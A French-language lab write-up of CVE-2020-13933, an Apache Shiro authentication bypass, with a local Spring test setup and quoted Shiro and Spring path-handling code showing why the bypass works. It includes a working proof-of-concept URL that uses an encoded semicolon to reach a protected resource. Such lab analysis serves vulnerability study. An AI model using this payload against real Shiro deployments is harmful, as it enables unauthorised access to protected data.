Laboratoire CVE-2020-13933

shiro < 1.6.0 : vulnérabilité de contournement d'authentification

PoC

http://127.0.0.1:8080/res/%3bpoc

Environnement du laboratoire

Description du code

• ShiroConfig.java:
  　　Configuration des permissions : lorsqu'une requête porte sur la ressource /res/*, une redirection 302 vers la page de connexion est effectuée pour l'authentification.
• NameController.java:
  　　· /res/{name}: demande la ressource nommée name (déclenche l'authentification)
  　　· /res/: ne demande aucune ressource (ne déclenche pas l'authentification)

Vérification du laboratoire

Lorsqu'aucun nom de ressource n'est spécifié dans la route de la requête, l'authentification n'est pas déclenchée et aucune ressource n'est renvoyée : http://127.0.0.1:8080/res/

Lorsqu'un nom de ressource est spécifié dans la route de la requête, une redirection 302 vers la page d'authentification est effectuée : http://127.0.0.1:8080/res/poc

En construisant une requête PoC spécifique désignant une ressource, l'authentification n'est pas déclenchée et la ressource est renvoyée : http://127.0.0.1:8080/res/%3bpoc (%3b est l'encodage URL de ;)

Emplacements de debug de la vulnérabilité

shiro-web-1.5.3.jar

// org.apache.shiro.web.util.WebUtils.java
// line 111

public static String getPathWithinApplication(HttpServletRequest request) {
    return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}

spring-web-5.2.5.RELEASE.jar

// org.springframework.web.util.UrlPathHelper.java
// line 459

private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
    uri = removeSemicolonContent(uri);
    uri = decodeRequestString(request, uri);
    uri = getSanitizedPath(uri);
    return uri;
}